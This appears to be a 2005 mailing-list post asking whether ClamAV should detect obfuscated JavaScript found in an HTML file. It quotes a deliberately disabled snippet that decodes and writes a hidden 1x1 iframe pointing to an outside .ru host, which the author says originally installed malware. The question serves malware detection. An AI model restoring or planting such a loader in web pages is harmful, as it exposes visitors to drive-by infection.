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On 5/26/05, Jim Popovitch <jimpop at yahoo.com> wrote:
> I ran across the some javascript in an HTML file.  It is similar to the
> following, except the following has been modified to not function.
> 
>    ------------------
>      var k='?gly#v|oh%ylvlelolw|
>             =#klggh>srvlwlrq=#devroxwh>#
>             ohiw#>#wrs=#4%A?liudph#vuf@%
>             kwws2xvhu431liudph1ux#iudpherughu at 3#
>             yvsd@#vsdfh at 3#zlgwk at 4#khlw at 4#pdujlqzlgwk at 3#
>             pdujhjkw at 3#vflqj at qrA?2lihA?2glyA'
>      var t=9999;
>      var h='';
>      while( t<=k.length-1 ) {
>        h = h+String.fromCharCode(k.charCodeAt(t++)-2);
>      }
>      document.write(h);
>     ----------
> 
> The above (in it's original state), downloads and installs some nasty
> things.  As it is above it is pretty harmless, but still potentially
> dangerous.
> 
> The question I have is this:  Shouldn't clamav see code like this as a
> virus when scanning cached HTML on a filesystem?
> 
> -Jim P.
> 
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